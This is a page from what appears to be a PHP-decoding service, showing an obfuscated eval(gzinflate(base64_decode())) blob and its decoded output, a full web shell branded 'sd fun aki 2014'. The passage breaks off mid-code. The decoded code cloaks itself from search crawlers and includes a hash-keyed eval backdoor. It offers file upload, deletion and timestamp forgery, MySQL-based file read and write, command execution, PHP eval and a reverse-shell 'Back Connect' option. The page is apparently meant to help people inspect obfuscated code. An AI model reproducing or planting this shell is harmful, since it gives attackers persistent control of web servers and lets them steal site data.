Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("FJ3HjqPcGkXf5Y5aYkAyaUjOOTO5AkzOOTz97xq1quQAh+/svZbbdhVn2v+r..

Decoded Output download

error_reporting(0);ini_set('log_errors',0);ini_set("magic_quotes_runtime",0);ob_start();if(get_magic_quotes_gpc()){function stripslashes_deep($b){$b=is_array($b)?array_map('stripslashes_deep',$b):stripslashes($b);return $b;}$_POST=array_map('stripslashes_deep',$_POST);$_GET=array_map('stripslashes_deep',$_GET);$_COOKIE=array_map('stripslashes_deep',$_COOKIE);$_REQUEST=array_map('stripslashes_deep',$_REQUEST);}if(!empty($_SERVER['HTTP_USER_AGENT'])){$c=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/'.implode('|',$c).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}$d=explode(' ',microtime());$e=$d[1]+$d[0];define('SA_ROOT',str_replace('\\','/',dirname(__FILE__)).'/');define('IS_WIN',DIRECTORY_SEPARATOR=='\\');define('IS_COM',class_exists('COM')?1:0);define('IS_GPC',get_magic_quotes_gpc());$g=get_cfg_var('disable_functions');define('IS_PHPINFO',(!preg_match("/phpinfo/",$g))?1:0);@set_time_limit(0);foreach(array('_GET','_POST')as $h){foreach($$h as $l=>$m){if($l[0]!='_'){if(IS_GPC){$m=s_array($m);}$$l=$m;}}}$n=array();$n['check']=true;$n['pass']='60dc2b188abbc0be6cec436f04094417';$n['salt']='sadklhnwoi podasdjopm asjdopajsn oias 485s7ad87 asdajsoid asdjoiwudoia  as587d8a7sd87a8sd78w asdljaio mndoiasjdpoij';$n['cookiepre']='';$n['cookiedomain']='';$n['cookiepath']='/';$n['cookielife']=8640000;$o=array('utf8','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','eucjpms','euckr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis');$p=$_POST["charset"];if($p=='utf8'){header("content-Type: text/html; charset=utf-8");}elseif($p=='big5'){header("content-Type: text/html; charset=big5");}elseif($p=='gbk'){header("content-Type: text/html; charset=gbk");}elseif($p=='latin1'){header("content-Type: text/html; charset=iso-8859-2");}elseif($p=='euckr'){header("content-Type: text/html; charset=euc-kr");}elseif($p=='eucjpms'){header("content-Type: text/html; charset=euc-jp");}$q=$_SERVER['PHP_SELF']?$_SERVER['PHP_SELF']:$_SERVER['SCRIPT_NAME'];$q=rtrim($q,"/");$q='';$r=time();if(md5($_SERVER["QUERY_STRING"].$n['salt'])==$n['pass']){eval($_POST['xx']);exit;}$t=$_POST["password"];$u=$_POST["action"];$w=$_POST["doing"];if($u=="logout"){scookie('hgmshellpass','',-86400*365);p('<meta http-equiv="refresh" content="1;URL='.$q.'">');p('<a style="font:12px Verdana" href="'.$q.'">Success</a>');exit;}if($_GET["aki"]=='aki'){}else{if($n['check']){if($w=='login'){if($n['pass']==md5($t.$n['salt'])){scookie('hgmshellpass',md5($t.$n['salt']));p('<meta http-equiv="refresh" content="1;URL='.$q.'">');p('<a style="font:12px Verdana" href="'.$q.'">Success</a>');exit;}}if($_COOKIE['hgmshellpass']){if($_COOKIE['hgmshellpass']!=$n['pass']){loginpage();}}else{loginpage();}}}$x='';if($u=='phpinfo'){if(IS_PHPINFO){phpinfo();exit;}else{$x='phpinfo() function has non-permissible';}}$y=$_POST["dir"];$z=$_POST["thefile"];$aa=$_POST["saveasfile"];$bb=$_POST["table"];$cc=$_POST["dbhost"];$dd=$_POST["dbuser"];$ee=$_POST["dbpass"];$ff=$_POST["dbname"];$gg=$_POST["dbport"];$hh=$_POST["connect"];$aa=$_POST["saveasfile"];$ii=$_POST["mysqldlfile"];$jj=$_POST["newdirname"];$kk=$_POST["doupfile"];$ll=$_POST["uploaddir"];$mm=$_POST["editfilename"];$nn=$_POST["filecontent"];$oo=$_POST["iskeepmtime"];$pp=$_POST["fmtime"];$qq=$_POST["pfile"];$rr=$_POST["newperm"];$ss=$_POST["oldname"];$tt=$_POST["newfilename"];$uu=$_POST["sname"];$vv=$_POST["tofile"];$ww=$_POST["curfile"];$xx=$_POST["tarfile"];$yy=$_POST["year"];$zz=$_POST["month"];$aaa=$_POST["day"];$bbb=$_POST["hour"];$ccc=$_POST["minute"];$ddd=$_POST["second"];$eee=$_POST["dl"];$fff=$_POST["view_writable"];$ggg=$_POST["savepath"];$hhh=$_POST["upname"];$iii=$_POST["path"];$jjj=$_POST["insert"];$kkk=$_POST["insertsql"];$lll=$_POST["update"];$mmm=$_POST["base64"];$nnn=$_POST["tablename"];$ooo=$_POST["page"];$ppp=$_POST["sql_query"];$qqq=$_POST["yourip"];$rrr=$_POST["yourport"];$sss=$_POST["start"];$ttt=$_POST["use"];$uuu=$_POST["phpcode"];$vvv=$_POST["opfile"];$www=$_POST["parameter"];$xxx=$_POST["program"];$yyy=$_POST["command"];$zzz=$_POST["execfunc"];$aaaa=$_POST["phpvarname"];if($w=='downfile'&&$z){if(!@file_exists($z)){$x='The file you want Downloadable was nonexistent';}else{$bbbb=pathinfo($z);header('Content-type: application/x-'.$bbbb['extension']);header('Content-Disposition: attachment; filename='.$bbbb['basename']);header('Content-Length: '.filesize($z));@readfile($z);exit;}}if($w=='backupmysql'&&!$aa){$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);$bb=array_flip($bb);$dddd=q($cccc,"SHOW tables");if(!$dddd)p('<h2>'.mysqli_error($cccc).'</h2>');$eeee=basename($_SERVER['HTTP_HOST'].'_MySQL.sql');header('Content-type: application/unknown');header('Content-Disposition: attachment; filename='.$eeee);$ffff='';while($gggg=mysqli_fetch_array($dddd)){if(isset($bb[$gggg[0]])){$ffff.=sqldumptable($cccc,$gggg[0]);}}mysqli_close($cccc);exit;}if($w=='mysqldown'){if(!$ff){$x='Please input dbname';}else{$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);if(!file_exists($ii)){$x='The file you want Downloadable was nonexistent';}else{$dddd=q($cccc,"select load_file('$ii');");if(!$dddd){q($cccc,"DROP TABLE IF EXISTS tmp_angel;");q($cccc,"CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");q($cccc,"LOAD DATA LOCAL INFILE '".addslashes($ii)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$r}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$r}_eof__';");$dddd=q($cccc,"select content from tmp_angel");q($cccc,"DROP TABLE tmp_angel");}$hhhh=@mysqli_fetch_array($dddd);if(!$hhhh){$x='Load file failed '.mysqli_error($cccc);}else{$bbbb=pathinfo($ii);header('Content-type: application/x-'.$bbbb['extension']);header('Content-Disposition: attachment; filename='.$bbbb['basename']);header("Accept-Length: ".strlen($hhhh[0]));echo $hhhh[0];exit;}}}}?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title>sd fun aki 2014</title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$('goaction').action.value=act;
	$('goaction').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><a href="https://www.google.com/?gws_rd=ssl#newwindow=1&q=sd+fun+aki" target="_blank"> sd fun aki 2014</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
	</tr>
	<tr class="alt1">
		<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
			<a href="javascript:goaction('logout');">Logout</a> | 
			<a href="javascript:goaction('file');">File Manager</a> | 
			<a href="javascript:goaction('mysqladmin');">MYSQL Manager</a> | 
			<a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> | 
			<a href="javascript:goaction('shell');">Execute Command</a> | 
			<a href="javascript:goaction('phpenv');">PHP Variable</a> | 
			<a href="javascript:goaction('eval');">Eval PHP Code</a>
			<?php if(!IS_WIN){?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
 formhead(array('name'=>'goaction'));makehide('action');formfoot();$x&&m($x);if(!$y){if($_SERVER["DOCUMENT_ROOT"]){$y=$_SERVER["DOCUMENT_ROOT"];}else{$y='.';}}$iiii=getPath(SA_ROOT,$y);if(substr($y,-1)!='/'){$y=$y.'/';}$jjjj=ue($y);if(!$u||$u=='file'){$kkkk=@is_writable($iiii)?'Writable':'Non-writable';if($w=='deldir'&&$z){if(!file_exists($z)){m($z.' directory does not exist');}else{m('Directory delete '.(deltree($z)?basename($z).' success':'failed'));}}elseif($jj){$llll=$iiii.$jj;if(file_exists($llll)){m('Directory has already existed');}else{m('Directory created '.(@mkdir($llll,0777)?'success':'failed'));@chmod($llll,0777);}}elseif($kk){m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$ll.'/'.$_FILES['uploadfile']['name'])?'success':'failed'));}elseif($mm&&$nn){$pp=@filemtime($mm);$mmmm=@fopen($mm,'w');$nnnn='Save file '.(@fwrite($mmmm,$nn)?'success':'failed').'<br/>';@fclose($mmmm);if($oo==true){$nnnn.='Modify file the last modified '.(@touch($mm,$pp,$pp)?'success':'failed');}m($nnnn);}elseif($qq&&$rr){if(!file_exists($qq)){m('The original file does not exist');}else{$rr=base_convert($rr,8,10);m('Modify file attributes '.(@chmod($qq,$rr)?'success':'failed'));}}elseif($ss&&$tt){$oooo=$iiii.$tt;if(file_exists($oooo)||!file_exists($ss)){m($oooo.' has already existed or original file does not exist');}else{m(basename($ss).' renamed '.basename($oooo).(@rename($ss,$oooo)?' success':'failed'));}}elseif($uu&&$vv){if(file_exists($vv)||!file_exists($uu)){m('The goal file has already existed or original file does not exist');}else{m(basename($vv).' copied '.(@copy($uu,$vv)?basename($vv).' success':'failed'));}}elseif($ww&&$xx){if(!@file_exists($ww)||!@file_exists($xx)){m('The goal file has already existed or original file does not exist');}else{$pppp=@filemtime($xx);m('Modify file the last modified '.(@touch($ww,$pppp,$pppp)?'success':'failed'));}}elseif($ww&&$yy&&$zz&&$aaa&&$bbb&&$ccc&&$ddd){if(!@file_exists($ww)){m(basename($ww).' does not exist');}else{$pppp=strtotime("$yy-$zz-$aaa $bbb:$ccc:$ddd");m('Modify file the last modified '.(@touch($ww,$pppp,$pppp)?'success':'failed'));}}elseif($w=='downrar'){if($eee){$qqqq='';foreach($eee as $rrrr=>$b){$qqqq.=$rrrr.',';}$qqqq=substr($qqqq,0,strlen($qqqq)-1);$eee=explode(',',$qqqq);if(count($eee)==1&&is_dir($eee[0])){$ssss=New PHPZip1;$ssss->ZipDir($eee[0],'package',1);}else{$ssss=New PHPZip1;$ssss->ZipFile($eee,'package',1);}exit;}else{m('Please select file(s)');}}elseif($w=='delfiles'){if($eee){$qqqq='';$tttt=$uuuu=0;foreach($eee as $rrrr=>$b){@chmod($rrrr,0666);if(is_dir($rrrr)){if(deltree($rrrr)){$tttt++;}else{$uuuu++;}}else{if(@unlink($rrrr)){$tttt++;}else{$uuuu++;}}}m('Deleted file have finished,choose '.count($eee).' success '.$tttt.' fail '.$uuuu);}else{m('Please select file(s)');}}formhead(array('name'=>'createdir'));makehide('newdirname');makehide('dir',$iiii);formfoot();formhead(array('name'=>'fileperm'));makehide('newperm');makehide('pfile');makehide('dir',$iiii);formfoot();formhead(array('name'=>'copyfile'));makehide('sname');makehide('tofile');makehide('dir',$iiii);formfoot();formhead(array('name'=>'rename'));makehide('oldname');makehide('newfilename');makehide('dir',$iiii);formfoot();formhead(array('name'=>'fileopform','target'=>'_blank'));makehide('action');makehide('opfile');makehide('dir');formfoot();formhead(array('name'=>'getsize'));makehide('getdir');makehide('dir');formfoot();$vvvv=@disk_free_space($iiii);!$vvvv&&$vvvv=0;$wwww=@disk_total_space($iiii);!$wwww&&$wwww=0;$xxxx=$wwww-$vvvv;$yyyy=@round(100/($wwww/$vvvv),2);p('<h2>File Manager - Current disk free '.sizecount($vvvv).' of '.sizecount($wwww).' ('.$yyyy.'%)</h2>');?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="<?php echo $q;?>" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Current Directory (<?php echo $kkkk;?>, <?php echo getChmod($iiii);?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $iiii;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt('Please input the directory name:', '');
	if (!newdirname) return;
	$('createdir').newdirname.value=newdirname;
	$('createdir').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
	if (!newperm) return;
	$('fileperm').newperm.value=newperm;
	$('fileperm').pfile.value=pfile;
	$('fileperm').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
	if (!tofile) return;
	$('copyfile').tofile.value=tofile;
	$('copyfile').sname.value=sname;
	$('copyfile').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
	if (!newfilename) return;
	$('rename').newfilename.value=newfilename;
	$('rename').oldname.value=oldname;
	$('rename').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$('filelist').doing.value=doing;
	if (thefile){
		$('filelist').thefile.value=thefile;
	}
	$('filelist').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt('Please input the file name:', '');
	if (!filename) return;
	opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$('fileopform').action.value=action;
	$('fileopform').opfile.value=opfile;
	$('fileopform').dir.value=dir;
	$('fileopform').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$('godir').view_writable.value=view_writable;
	}
	$('godir').dir.value=dir;
	$('godir').submit();
}
function getsize(getdir,dir){
	$('getsize').getdir.value=getdir;
	$('getsize').dir.value=dir;
	$('getsize').submit();
}
</script>
  <?php
 $zzzz=$_POST['findstr'];$aaaaa=$_POST['re'];$bbbbb=strtolower($_POST['writabledb']);tbhead();p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');p('<form action="'.$q.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$y.'" type="hidden" /><input name="dir" value="'.$y.'" type="hidden" /></div></form>');p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');p(' | <a href="javascript:godir(\''.$iiii.'\');">View All</a>');p(' | View Writable ( <a href="javascript:godir(\''.$iiii.'\',\'dir\');">Directory</a>');p(' | <a href="javascript:godir(\''.$iiii.'\',\'file\');">File</a> )');p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$iiii.'\');">Create File</a>');if(IS_WIN&&IS_COM){$ccccc=new COM('scripting.filesystemobject');if($ccccc&&is_object($ccccc)&&is_array($ccccc->Drives)){$ddddd=array(0=>'Unknow',1=>'Removable',2=>'Fixed',3=>'Network',4=>'CDRom',5=>'RAM Disk');foreach($ccccc->Drives as $eeeee){if($eeeee->DriveType==2){p(' | <a href="javascript:godir(\''.$eeeee->Path.'/\');" title="Size:'.sizecount($eeeee->TotalSize).'&#13;Free:'.sizecount($eeeee->FreeSpace).'&#13;Type:'.$ddddd[$eeeee->DriveType].'">'.$ddddd[$eeeee->DriveType].'('.$eeeee->Path.')</a>');}else{p(' | <a href="javascript:godir(\''.$eeeee->Path.'/\');" title="Type:'.$ddddd[$eeeee->DriveType].'">'.$ddddd[$eeeee->DriveType].'('.$eeeee->Path.')</a>');}}}}p('<br /><form action="'.$q.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$zzzz.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.strtolower(isset($_POST['writabledb'])?$_POST['writabledb']:'php,cgi,pl,asp,inc,js,html,htm,jsp').'" type="text" /> <input name="dir" value="'.$y.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($aaaaa?'checked':'').' /> Regular expressions</form></td></tr>');p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="12%">Create Time</td><td width="12%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');$fffff=array();$ggggg=array();if($fff=='dir'){$fffff=GetWDirList($iiii);$ggggg=array();}elseif($fff=='file'){$fffff=array();$ggggg=GetWFileList($iiii);}elseif($zzzz){$fffff=array();$ggggg=GetSFileList($iiii,$zzzz,$aaaaa);}else{$hhhhh=@opendir($y);while($iiiii=@readdir($hhhhh)){$rrrr=$iiii.$iiiii;if(@is_dir($rrrr)){$jjjjj['filename']=$iiiii;$jjjjj['mtime']=@date('Y-m-d H:i:s',filemtime($rrrr));$jjjjj['ctime']=@date('Y-m-d H:i:s',filectime($rrrr));$jjjjj['dirchmod']=getChmod($rrrr);$jjjjj['dirperm']=getPerms($rrrr);$jjjjj['fileowner']=getUser($rrrr);$jjjjj['dirlink']=$iiii;$jjjjj['server_link']=$rrrr;$jjjjj['client_link']=ue($rrrr);$fffff[]=$jjjjj;}else{$kkkkk['filename']=$iiiii;$kkkkk['size']=sizecount(@filesize($rrrr));$kkkkk['mtime']=@date('Y-m-d H:i:s',filemtime($rrrr));$kkkkk['ctime']=@date('Y-m-d H:i:s',filectime($rrrr));$kkkkk['filechmod']=getChmod($rrrr);$kkkkk['fileperm']=getPerms($rrrr);$kkkkk['fileowner']=getUser($rrrr);$kkkkk['dirlink']=$iiii;$kkkkk['server_link']=$rrrr;$kkkkk['client_link']=ue($rrrr);$ggggg[]=$kkkkk;}}unset($jjjjj);unset($kkkkk);@closedir($hhhhh);}@sort($fffff);@sort($ggggg);$lllll='0';p('<form id="filelist" name="filelist" action="'.$q.'" method="post">');foreach($fffff as $mmmmm=>$jjjjj){if($jjjjj['filename']!='..'&&$jjjjj['filename']!='.'){if($nnnnn&&$nnnnn==$jjjjj['server_link']){$ooooo=dirsize($jjjjj['server_link']);$ooooo=is_numeric($ooooo)?sizecount($ooooo):'Unknown';}else{$ooooo='<a href="javascript:getsize(\''.$jjjjj['server_link'].'\',\''.$y.'\');">Stat</a>';}$ppppp=bg();p('<tr class="'.$ppppp.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$ppppp.'\';">');p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$jjjjj['server_link'].']"><font face="wingdings" size="3">0</font></td>');p('<td><a href="javascript:godir(\''.$jjjjj['server_link'].'\');">'.$jjjjj['filename'].'</a></td>');p('<td nowrap>'.$jjjjj['ctime'].'</td>');p('<td nowrap>'.$jjjjj['mtime'].'</td>');p('<td nowrap>'.$ooooo.'</td>');p('<td nowrap>');p('<a href="javascript:fileperm(\''.$jjjjj['server_link'].'\');">'.$jjjjj['dirchmod'].'</a> / ');p('<a href="javascript:fileperm(\''.$jjjjj['server_link'].'\');">'.$jjjjj['dirperm'].'</a>'.$jjjjj['fileowner'].'</td>');p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$jjjjj['server_link'].'\',\'Are you sure will delete <'.$jjjjj['filename'].'>? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$jjjjj['server_link'].'\');">Rename</a>');p('<a href="javascript:opfile(\'newtime\',\''.$jjjjj['server_link'].'\',\''.$jjjjj['dirlink'].'\');">Time</a></td>');p('</tr>');$lllll++;}else{if($jjjjj['filename']=='..'){p('<tr class='.bg().'>');p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="6"><a href="javascript:godir(\''.getUpPath($iiii).'\');">Parent Directory</a></td>');p('</tr>');}}}p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="7" height="5"></td></tr>');makehide('action','file');makehide('thefile');makehide('doing');makehide('dir',$iiii);$qqqqq='0';foreach($ggggg as $mmmmm=>$kkkkk){if($kkkkk['filename']!='..'&&$kkkkk['filename']!='.'){$rrrrr=str_replace($_SERVER["DOCUMENT_ROOT"],'',$kkkkk['server_link']);$ppppp=bg();p('<tr class="'.$ppppp.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$ppppp.'\';">');p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$kkkkk['server_link'].']"></td>');p('<td><a href="'.$rrrrr.'" target="_blank">'.$kkkkk['filename'].'</a></td>');p('<td nowrap>'.$kkkkk['ctime'].'</td>');p('<td nowrap>'.$kkkkk['mtime'].'</td>');p('<td nowrap>'.$kkkkk['size'].'</td>');p('<td nowrap>');p('<a href="javascript:fileperm(\''.$kkkkk['server_link'].'\');">'.$kkkkk['filechmod'].'</a> / ');p('<a href="javascript:fileperm(\''.$kkkkk['server_link'].'\');">'.$kkkkk['fileperm'].'</a>'.$kkkkk['fileowner'].'</td>');p('<td nowrap>');p('<a href="javascript:dofile(\'downfile\',\''.$kkkkk['server_link'].'\');">Down</a> | ');p('<a href="javascript:copyfile(\''.$kkkkk['server_link'].'\');">Copy</a> | ');p('<a href="javascript:opfile(\'editfile\',\''.$kkkkk['server_link'].'\',\''.$kkkkk['dirlink'].'\');">Edit</a> | ');p('<a href="javascript:rename(\''.$kkkkk['server_link'].'\');">Rename</a> | ');p('<a href="javascript:opfile(\'newtime\',\''.$kkkkk['server_link'].'\',\''.$kkkkk['dirlink'].'\');">Time</a>');p('</td></tr>');$qqqqq++;}}p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="5" align="right">'.$lllll.' directories / '.$qqqqq.' files</td></tr>');p('</form></table>');}elseif($u=='sqlfile'){if($w=="mysqlupload"){$iiiii=$_FILES['uploadfile'];$eeee=$iiiii['tmp_name'];if(file_exists($ggg)){m('The goal file has already existed');}else{if(!$eeee){m('Please choose a file');}else{$mmmm=@fopen($eeee,'r');$sssss=@fread($mmmm,filesize($eeee));@fclose($mmmm);$sssss=bin2hex($sssss);if(!$hhh)$hhh=$iiiii['name'];$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);$dddd=q($cccc,"SELECT 0x{$sssss} FROM mysql.user INTO DUMPFILE '$ggg';");m($dddd?'Upload success':'Upload has failed: '.mysqli_error($cccc));}}}?>
<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$('doing').value=doing;
	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
	$('mysqlfile').charset.value=$('dbinfo').charset.value;
	$('mysqlfile').submit();
}
</script>
<?php
!$cc&&$cc='localhost';!$dd&&$dd='root';!$gg&&$gg='3306';formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));makehide('action','sqlfile');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$cc));p(':');makeinput(array('name'=>'dbport','size'=>4,'value'=>$gg));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dd));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$ee));p('DBName:');makeinput(array('name'=>'dbname','size'=>15,'value'=>$ff));p('DBCharset:');makeselect(array('name'=>'charset','option'=>$o,'selected'=>$p,'nokey'=>1));p('</p>');formfoot();p('<form action="'.$q.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');p('<h2>Upload file</h2>');p('<p><b>This operation the DB user must has FILE privilege</b></p>');p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');p('<h2>Download file</h2>');p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');makehide('dbhost');makehide('dbport');makehide('dbuser');makehide('dbpass');makehide('dbname');makehide('charset');makehide('doing');makehide('action','sqlfile');p('</form>');}elseif($u=='mysqladmin'){!$cc&&$cc='localhost';!$dd&&$dd='root';!$gg&&$gg='3306';$ttttt='<input type="hidden" id="connect" name="connect" value="1" />';if(isset($cc)){$ttttt.="<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$cc\" />\n";}if(isset($dd)){$ttttt.="<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dd\" />\n";}if(isset($ee)){$ttttt.="<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$ee\" />\n";}if(isset($gg)){$ttttt.="<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$gg\" />\n";}if(isset($ff)){$ttttt.="<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$ff\" />\n";}if(isset($p)){$ttttt.="<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$p\" />\n";}if($w=='backupmysql'&&$aa){if(!$bb){m('Please choose the table');}else{$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);$bb=array_flip($bb);$mmmm=@fopen($iii,'w');if($mmmm){$dddd=q($cccc,'SHOW tables');if(!$dddd)p('<h2>'.mysqli_error($cccc).'</h2>');$ffff='';while($gggg=mysqli_fetch_array($dddd)){if(isset($bb[$gggg[0]])){sqldumptable($cccc,$gggg[0],$mmmm);}}fclose($mmmm);$rrrrr=str_replace(SA_ROOT,'',$iii);m('Database has success backup to <a href="'.$rrrrr.'" target="_blank">'.$iii.'</a>');mysqli_close($cccc);}else{m('Backup failed');}}}if($jjj&&$kkk){$uuuuu=$vvvvv=$wwwww='';foreach($kkk as $mmmmm=>$xxxxx){if($xxxxx){$uuuuu.=$wwwww.$mmmmm;$vvvvv.=$wwwww."'".addslashes($xxxxx)."'";$wwwww=',';}}if($uuuuu&&$vvvvv){$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);m(q($cccc,"INSERT INTO $nnn ($uuuuu) VALUES ($vvvvv)")?'Insert new record of success':mysqli_error($cccc));}}if($lll&&$kkk&&$mmm){$vvvvv=$wwwww='';foreach($kkk as $mmmmm=>$xxxxx){$vvvvv.=$wwwww.$mmmmm."='".addslashes($xxxxx)."'";$wwwww=',';}if($vvvvv){$yyyyy=base64_decode($mmm);$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);m(q($cccc,"UPDATE $nnn SET $vvvvv WHERE $yyyyy LIMIT 1")?'Record updating':mysqli_error($cccc));}}if($w=='del'&&$mmm){$yyyyy=base64_decode($mmm);$zzzzz="DELETE FROM $nnn WHERE $yyyyy";$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);m(q($cccc,"DELETE FROM $nnn WHERE $yyyyy")?'Deletion record of success':mysqli_error($cccc));}if($nnn&&$w=='drop'){$cccc=mydbconn($cc,$dd,$ee,$ff,$p,$gg);if(q($cccc,"DROP TABLE $nnn")){m('Drop table of success');$nnn='';}else{m(mysqli_error($cccc));}}formhead(array('title'=>'MYSQL 